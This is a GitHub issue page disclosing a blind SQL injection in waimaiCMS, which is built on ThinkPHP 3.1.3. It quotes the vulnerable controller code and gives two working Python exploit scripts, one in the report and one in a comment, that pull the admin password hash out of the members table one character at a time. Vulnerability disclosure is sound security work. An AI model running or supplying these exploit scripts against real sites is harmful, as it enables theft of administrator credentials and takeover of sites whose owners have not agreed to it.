Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
There is a blind sql injection.
waimaiCMS is based on thinkphp3.1.3, vulnerable code in web/Lib/Action/ProductAction.class.php
public function index(){ $data['fid']=I('id');//店铺分类 $Food=M('Food'); $fooditem=$Food->where($data)->find(); $this->assign('fooditem',$fooditem); $this->display(); }
exp to get admin password here:
#!/usr/bin/bash #coding:utf-8 import requests import string password = '' string_list = string.ascii_lowercase + string.digits url = "http://localhost:8000/" prefix = "product?id[0]=in%20(%27xx%27))%20or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1," payload = ")=%27" suffix = "%27%20--%20" for i in range(32): for s in string_list: final_url = url + prefix + str(i+1) + payload + password + s + suffix res = requests.get(final_url) if '<img src=""' not in res.content: password += s continue print password
The text was updated successfully, but these errors were encountered:
If you test it with linux, this will helpful:
#!/usr/bin/bash #coding:utf-8 import requests import string password = '' string_list = string.ascii_lowercase + string.digits url = "http://localhost" prefix = "/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1," payload = ")=%27" suffix = "%27%20--%20&id[2]=exp" for i in range(32): for s in string_list: final_url = url + prefix + str(i+1) + payload + password + s + suffix res = requests.get(final_url) if '<img src=""' not in res.content: password += s continue print password
Sorry, something went wrong.
No branches or pull requests
There is a blind sql injection.
waimaiCMS is based on thinkphp3.1.3, vulnerable code in web/Lib/Action/ProductAction.class.php
exp to get admin password here:
The text was updated successfully, but these errors were encountered: